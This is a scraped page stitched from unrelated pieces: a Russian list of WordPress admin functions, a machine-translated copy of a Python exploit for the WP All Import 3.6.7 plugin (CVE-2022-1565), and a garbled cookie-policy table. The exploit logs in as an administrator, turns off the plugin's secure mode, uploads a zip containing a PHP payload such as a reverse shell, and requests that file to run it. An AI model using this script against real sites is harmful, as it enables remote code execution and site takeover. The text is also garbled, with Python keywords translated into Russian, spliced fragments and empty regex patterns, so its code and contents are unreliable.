wp-admin/includes/post.php:the_block_editor_meta_boxes() | Отправляет бланки мета-боксов. |
wp-admin/includes/post.php:the_block_editor_meta_box_post_form_hidden_fields() | Отправляет скрытый бланк,необходимый для формы метабоксов. |
wp-admin/includes/network.php:network_step1() | Распечатайте шаг 1 для процесса установки сети. |
wp-admin/includes/class-wp-screen.php:WP_Screen::render_screen_options() | Отобразите вкладку «Параметры экрана». |
wp-admin/includes/theme-install.php:install_themes_upload() | |
wp-admin/includes/class-wp-list-table.php:WP_List_Table::display_tablenav() | Генерирует навигацию по таблице над или под таблицей |
wp-admin/includes/misc. php:admin_color_scheme_picker() | Отображает средство выбора цветовой схемы администратора по умолчанию (используется в user-edit.php). |
wp-admin/includes/class-wp-theme-install-list-table.php:WP_Theme_Install_List_Table::display() | Отображает таблицу установки темы. |
wp-admin/includes/plugin-install.php:install_plugins_upload() | Отображает форму для загрузки плагинов из zip-файлов. |
wp-admin/includes/dashboard.php:_wp_dashboard_control_callback() | Выводит элементы управления для текущего виджета приборной панели. |
wp-admin/includes/dashboard.php:wp_dashboard() | Отображает приборную панель. |
wp-admin/includes/dashboard.php:wp_dashboard_quick_press() | Отображение виджета «Быстрый черновик» и создание черновиков. |
wp-admin/includes/plugin.php:settings_fields() | Выводит поля nonce, action и option_page для страницы настроек. |
wp-admin/includes/template.php:find_posts_div() | Выводит модальное окно,используемое для прикрепления медиа к сообщениям или страницам на экране медиа-листа. |
wp-admin/includes/template.php:wp_comment_reply() | Выводит строчный ответ на комментарий в виде формы в таблице списка Комментарии. |
wp-admin/includes/template.php:_list_meta_row() | Выводит одну строку публичных метаданных в метабоксе «Пользовательские поля». |
wp-admin/includes/template.php:meta_form() | Распечатайте форму в мета-поле «Пользовательские поля». |
wp-admin/includes/class-wp-themes-list-table.php:WP_Themes_List_Table::display() | Отображает таблицу тем. |
wp-admin/includes/media.php:media_upload_type_form() | Выводится форма загрузки унаследованного носителя для данного типа носителя. |
wp-admin/includes/media. php:media_upload_type_url_form() | Вывод старой формы для загрузки на внешние носители. |
wp-admin/includes/media.php:media_upload_gallery_form() | Добавляет форму галереи для загрузки iframe. |
wp-admin/includes/media.php:media_upload_library_form() | Выводится форма загрузки старых носителей для мультимедийной библиотеки. |
wp-admin/includes/meta-boxes.php:post_comment_meta_box() | Отображает комментарии к сообщению. |
wp-admin/includes/meta-boxes.php:link_categories_meta_box() | Отображает поля формы категорий ссылок. |
wp-admin/includes/meta-boxes.php:post_categories_meta_box() | Отображает поля формы категорий записей. |
wp-admin/includes/class-wp-post-comments-list-table.php:WP_Post_Comments_List_Table::display() | |
wp-admin/includes/class-wp-comments-list-table. php:WP_Comments_List_Table::extra_tablenav() | |
wp-admin/includes/class-wp-comments-list-table.php:WP_Comments_List_Table::display() | Отображает таблицу комментариев. |
wp-admin/includes/class-wp-terms-list-table.php:WP_Terms_List_Table::inline_edit() | Выводит скрытую строку,отображаемую при встроенном редактировании |
wp-admin/includes/file.php:request_filesystem_credentials() | Отображает пользователю форму для запроса сведений о FTP/SSH для подключения к файловой системе. |
wp-admin/includes/class-wp-posts-list-table.php:WP_Posts_List_Table::inline_edit() | Выводит скрытую строку,отображаемую при встроенном редактировании |
wp-admin/includes/class-custom-image-header.php:Custom_Image_Header::step_1() | Отображение первого шага пользовательской страницы изображения заголовка. |
wp-admin/includes/class-custom-image-header. php:Custom_Image_Header::step_2() | Отображение второго шага пользовательской страницы изображения заголовка. |
wp-admin/includes/ms.php:confirm_delete_users() | |
wp-admin/update-core.php:list_core_update() | Перечисляет доступные обновления ядра. |
wp-admin/update-core.php:list_plugin_updates() | Отображение формы обновления плагинов. |
wp-admin/update-core.php:list_theme_updates() | Отобразите форму обновления тем. |
wp-admin/update-core.php:list_translation_updates() | Отобразите форму обновления переводов. |
wp-admin/includes/class-custom-background.php:Custom_Background::admin_page() | Отображение пользовательской фоновой страницы. |
wp-includes/ms-functions.php:signup_nonce_fields() | Добавляет поле одноразового номера на страницу регистрации. |
wp-includes/comment-template.php:wp_comment_form_unfiltered_html_nonce() | Отображает маркер формы для нефильтрованных комментариев. |
wp-includes/class-wp-editor.php:_WP_Editors::wp_link_dialog() | Диалог для внутренней перелинковки. |
WordPress WP All Import 3.6.7 Remote Code Execution ≈ Packet Storm
# Название эксплойта: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Дата: 05.11.2022
# Автор эксплойта: AkuCyberSec (https://github.com/AkuCyberSec)
# Домашняя страница поставщика: https://www.wpallimport.com/
# Ссылка на программное обеспечение: https://wordpress.org/plugins/wp-all-import/advanced/ (прокрутите вниз, чтобы выбрать версию)
# Версия: <= 3.6.7 (проверено: 3.6.7)
# Протестировано на: WordPress 6.1 (не зависит от операционной системы, поскольку этот эксплойт НЕ предоставляет полезную нагрузку)
# CVE: CVE-2022-1565 #!/usr/bin/python
запросы на импорт
import re
import os
# ВНИМАНИЕ: Этот эксплойт НЕ включает полезную нагрузку.
# Кроме того, убедитесь, что у вас уже есть действительные учетные данные администратора. Для работы этого эксплойта требуется учетная запись администратора.
# Если файл с тем же именем, что и полезная нагрузка, уже находится на сервере, загрузка будет ПЕРЕЗАПИСАТЬ его
#
# Обратите внимание, что я НЕ исследователь, обнаруживший эту уязвимость
# # # # # ОПИСАНИЕ УЯЗВИМОСТИ # # # # #
# Плагин WP All Import уязвим для произвольной загрузки файлов из-за отсутствия проверки типа файла через файл wp_all_import_get_gz.php в версиях до 3.6.7 включительно.
# Это позволяет аутентифицированным злоумышленникам с правами администратора и выше загружать произвольные файлы на сервер уязвимых сайтов, что может сделать возможным удаленное выполнение кода.
# # # # # КАК РАБОТАЕТ ЭТОТ ЭКСПЛОЙТ # # # # #
# 1. Подготовьте zip-файл:
# - создайте файл PHP с вашей полезной нагрузкой (например, обратная оболочка)
# - установите переменную "payload_file_name" с именем этого файла (например, "shell. php")
# - создать zip файл с полезной нагрузкой
# - установить переменную "zip_file_to_upload" с PATH этого файла (например, "/root/shell.zip")
#
# 2. Войти под учетной записью администратора:
# - установить переменная «target_url» с базовым URL цели (НЕ заканчивайте строку косой чертой /)
# - установить переменную "admin_user" с именем пользователя учетной записи администратора
# - установить переменную "admin_pass" с паролем учетной записи администратора
#
# 3. Получить wpnonce с помощью метода get_wpnonce_upload_file()
# - на самом деле есть 2 типа wpnonce:
# - первый wpnonce будет получен с помощью метода retrieve_wpnonce_edit_settings() внутри класса PluginSetting.
# Этот wpnonce позволяет нам изменить настройки плагина (см. шаг 4)
# - второй wpnonce будет получен с помощью метода retrieve_wpnonce_upload_file() внутри класса PluginSetting.
# Этот wpnonce позволяет нам загрузить файл
#
# 4. Проверьте, включен ли безопасный режим плагина, используя метод check_if_secure_mode_is_enabled() внутри класса PluginSetting
# - если безопасный режим включен, содержимое zip будет помещено в папку со случайным именем.
# Эксплойт отключит безопасный режим.
# При отключении безопасного режима содержимое zip будет помещено в основную папку (проверьте переменную payload_url).
# Для включения и отключения безопасного режима вызывается метод set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
# - если безопасный режим НЕ включен, эксплойт загрузит файл, но НЕ включит безопасный режим.
#
# 5. Загрузите файл с помощью метода upload_file(wpnonce_upload_file: str)
# - после загрузки сервер должен ответить HTTP 200 OK, но это не означает, что загрузка завершена успешно.
# Ответ будет содержать JSON, который выглядит так:
# {"jsonrpc":"2.0","error":{"code":102,"message":"Убедитесь, что загружаемый вами файл является допустимым ZIP-файлом. "},"is_valid":false," id":"id"}
# Как видите, там написано, что произошла ошибка с кодом 102, но, согласно проведенным мной тестам, загрузка завершена
#
# 6. Повторно включите безопасный режим если он был включен с помощью метода switch_back_to_secure_mode()
#
# 7. Активируйте полезную нагрузку с помощью методаactivate_payload()
# — вы можете определить метод для активации полезной нагрузки.
# Причина этого выбора в том, что этот эксплойт НЕ предоставляет никакой полезной нагрузки.
# Поскольку вы можете использовать пользовательскую полезную нагрузку, вы можете активировать ее с помощью HTTP-запроса POST вместо HTTP-запроса GET или передать параметры ? # # # # #
# Согласно PoC этой уязвимости, предоставленному WPSCAN, мы должны иметь возможность получить загруженные файлы, посетив «страницу управляемого импорта»
# Я не знаю почему, но после загрузки любого файла я не мог видеть загруженный файл на этой странице (может быть, требуется версия Pro?)
# Мне нужно было найти обходной путь, что я и сделал, используя этот вариант.
# Страница WPSCAN: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7
# # # # # КАКИЕ-ЛИБО ПРОБЛЕМЫ С ЭКСПЛОЙТОМ? # # # # #
# Чтобы эксплойт работал, учтите следующее:
# 1. проверьте target_url и учетные данные администратора
# 2. проверьте путь к zip-файлу и имя полезной нагрузки (они могут быть разными)
# 3. если вы тестируете локально, попробуйте установить verify_ssl_certificate на False
# 4. вы можете использовать print_response(http_response ) для дальнейшего изучения
# Настройте следующие переменные:
target_url = "https://vulnerable.wp/wordpress" # Целевой базовый URL
admin_user = "admin" # Имя пользователя администратора
admin_pass = "password" # Пароль администратора
zip_file_to_upload = "/shell.zip" # Путь к ZIP-файлу (например, /root/shell.zip)
payload_file_name = "shell.php" # Имя файла внутри zip-файла (например, shell.php). Этот файл будет вашей полезной нагрузкой (например, обратной оболочкой)
verify_ssl_certificate = True # Если True, сценарий завершится, если SSL-сертификат НЕдействителен. Вы можете установить его на False при локальном тестировании, если это необходимо.
# НЕ изменяйте следующие переменные
wp_login_url = target_url + "/wp-login.php" # Страница входа в WordPress
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Настройки страницы плагина
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Полезная нагрузка будет быть загруженным здесь
re_enable_secure_mode = False
session = request.Session()
# Этот класс помогает получить настройки плагина, включая одноразовые номера, используемые для изменения настроек и загрузки файлов.
class PluginSetting:
# Шаблоны регулярных выражений
pattern_setting_secure_mode = r''
pattern_wpnonce_edit_settings = r' '
pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA -Z0-9]+)["\']{1};'
http_response: запросы. Ответ
is_secure_mode_enabled: bool
wpnonce_edit_settings: str
wpnonce_upload_file: str
def __init__(self, http_response: requests.Response):
self.http_response = http_response
self.check_if_secure_mode_is_enabled()
self.retrieve_wpnonce_edit_settings()
self.retrieve_wpnonce_upload_file()
def check_if_secure_mode_is_enabled(self):
# To tell если безопасный режим включен, вы можете проверить, установлен ли флажок с идентификатором «secure»
#
regex_search = re.search (self.pattern_setting_secure_mode, self.http_response.text)
, если не regex_search:
print("Что-то пошло не так: не удалось получить настройки плагина. Вы администратор?")
# print_response(self.http_response) # для отладки regex_search.group()
def retrieve_wpnonce_edit_settings(self):
# Вы можете найти этот wpnonce в исходном файле, выполнив поиск следующего ввода hidden:
#
# 052e2438f9 будет wpnonce для редактирования настроек. вы администратор?")
# print_response(self.http_response) # для отладки
exit()
self.wpnonce_edit_settings = regex_search.group(1)
def retrieve_wpnonce_upload_file(self):
# Вы можете найти этот wpnonce в исходный файл, выполнив поиск следующей переменной JavaScript: var wp_all_import_security = 'dee75fdb8b';
# dee75fdb8b будет wpnonce для загрузки
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
if not regex_search:
print("Что-то пошло не так: не удалось получить wpnonce загрузки из переменной wp_all_import_security" )
# print_response(self.http_response) # для отладки " : admin_pass, "wp-submit": "Войти", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
login_cookie = { "wordpress_test_cookie" : "Проверка файлов cookie WP" }
# Для параметра allow_redirects установлено значение False, потому что, когда учетные данные верны, WordPress отвечает с ошибкой 302.
# Поиск этого кода ответа HTTP упрощает определение правильности учетных данных или нет
print("Попытка входа...")
response = session.post(url=wp_login_url, data=data, cookies=login_cookie , allow_redirects=False, verify=verify_ssl_certificate)
, если response.status_code == 302:
print("Выполнен вход успешно!")
return
# print_response(response) # для отладки
print("Не удалось войти в систему. Если учетные данные верны, попробуйте распечатать ответ для дальнейшего расследования.")
exit()
def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> Requests.Response:
global session
if set_to_enabled:
print("Включение безопасного режима...")
else:
print("Отключение безопасного режима.. .")
print("Изменить настройки значения wpnonce: " + wpnonce)
data = { "secure" : (1 если set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
response = session. post(url=wp_all_import_page_settings, data=data , verify=verify_ssl_certificate)
if response.status_code == 403:
print("Что-то пошло не так: Код статуса HTTP 403 (Запрещено). Неправильный wpnonce?")
# print_response(response) # для отладки
exit()
возврат ответа
def switch_back_to_secure_mode():
global session
print("Повторное включение безопасного режима...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)
if plugin_setting.is_secure_mode_enabled: print("Безопасный режим уже включен")
return
response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
если не new_plugin_setting.is_secure_mode_enabled:
print("Что-то пошло не так: безопасный режим не был повторно включен")
# print_response(response) # для отладки
exit()
print("Безопасный режим был повторно включен!")
def get_wpnonce_upload_file( ) -> str:
global session, re_enable_secure_mode
# Если безопасный режим включен, эксплойт пытается отключить его, а затем возвращает wpnonce для загрузки
# Если безопасный режим уже отключен, он просто возвращает wpnonce для загрузки
print("Проверка включения безопасного режима. ..")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)
если не plugin_setting.is_secure_mode_enabled:
re_enable_secure_mode = False
print("Небезопасный режим уже включен!") 9001pno 4 printnce_setting.w («Безопасный режим включен. Сценарий отключит безопасный режим для загрузки, а затем снова включит его».)
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
if new_plugin_setting.is_secure_mode_enabled:
print("Что-то пошло не так: безопасный режим не отключен")
# print_response(response) # для отладки
exit()
print("Secure режим отключен!")
re_enable_secure_mode = True
return new_plugin_setting.wpnonce_upload_file
def upload_file(wpnonce_upload_file: str):
global session
print("Загрузка файла...")
print("Загрузить значение wpnonce: " + wpnonce_upload_file)
zip_file_name = os. path.basename(zip_file_to_upload)
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
files = { ":async-upload_file
files =" (zip_file_name, open(zip_file_to_upload, 'rb'))}
data = { "name" : zip_file_name }
response = session.post(url=upload_url, files=files, data=data)
if response.status_code == 200:
print("Сервер ответил HTTP 200 OK. Загрузка должна быть завершена.")
print("Полезная нагрузка должна быть здесь: " + payload_url)
print("Если вы не можете найти полезную нагрузку по этому URL, попробуйте распечатать ответ для дальнейшего изучения")
# print_response(response) # для отладки
return 1
else:
print("Во время загрузки что-то пошло не так. Попробуйте распечатать ответ для дальнейшего расследования")
# print_response(response) # для отладки
return 0
defactivate_payload():
global session
print ("Активация полезной нагрузки. ..")
response = session.get(url=payload_url)
if response.status_code != 200:
print("Что-то пошло не так: не удалось найти полезную нагрузку по адресу " + payload_url)
# print_response(response) # для отладки
return
def print_response(response:requests.Response):
print(response.status_code)
print(response.text)
# Точка входа
def Main():
print("Цель: " + target_url)
print(" Учетные данные: " + admin_user + ":" + admin_pass)
# Выполнить вход
wp_login()
# Получить wpnonce для загрузки.
# It disables Secure Mode if needed, then returns the wpnonce
wpnonce_upload_file = get_wpnonce_upload_file()
# Upload the file
file_uploaded = upload_file(wpnonce_upload_file)
# Re-enable Secure Mode if needed
if re_enable_secure_mode:
switch_back_to_secure_mode()
# Активировать полезную нагрузку
if file_uploaded:
enable_payload()
Main()
Политика в отношении файлов cookie (США) | Medirix
Purpose pending investigation
slider-*
ssPanelHeight
wistia
n2-colors
ssLayersShown
ssPanelTop
exp*
ssLayersHeight
ssPanelLeft
cmplz_marketing
365 days
cmplz_consent_status
365 дней
ss-slider-editor-popup34
cmplz_statistics-anonymous
365 days
cmplz_policy_id
365 days
cmplz_functional
365 days
wp-autosave-1
undefined
notify_count
notify_flag
notify_stamp
cmplz_preferences
365 days
cmplz_statistics
365 days
qm-container-height
qm-container-width
cmplz_choice
365 дней
cmplzDashboardDefaultsSet
365 days
cmplz_toggle_data_id_0
365 days
cmplz_toggle_data_id_1
365 days
cmplz_toggle_data_id_2
365 days
365 days
cmplzFormValues
365 days
cmplz_layout
365 days
cmplz_toggle_data_id_3
365 дней
jetpack_sso_nonce
jetpack_sso_original_request
__https://medirixusa. com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__data
__https: //medirixusa.com/wp-json/zbscrm/v1/companies? //medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__data
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__data__ttl__
://us_https.medi.medi. com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__data__ttl____https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__protocol
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__thumbprint
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__thumbprint__ttl__
__https ://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__data
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__thumbprint
_http://http://httpsmediri_us_x .com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__thumbprint
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__protocol__ttl__
__https://medirixusa.
__https: //medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__protocol__ttl__
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__data__ttl1_4 _9000s com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__protocol__ttl__
__https: //medirixusa.com/wp-json/zbscrm/v1/companies? /v1/companies?_wpnonce=0becf59044__протокол
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__thumbprint__ttl__
__https1pancris/zbscrm/zpc-j.com/wpnonce=0becf59044__thumbprint ?_wpnonce=0becf59044__thumbprint
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__data__ttl__
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__protocol__ttl__
__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__data
__https ://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=e98107cb09__thumbprint
__https://medirixusa.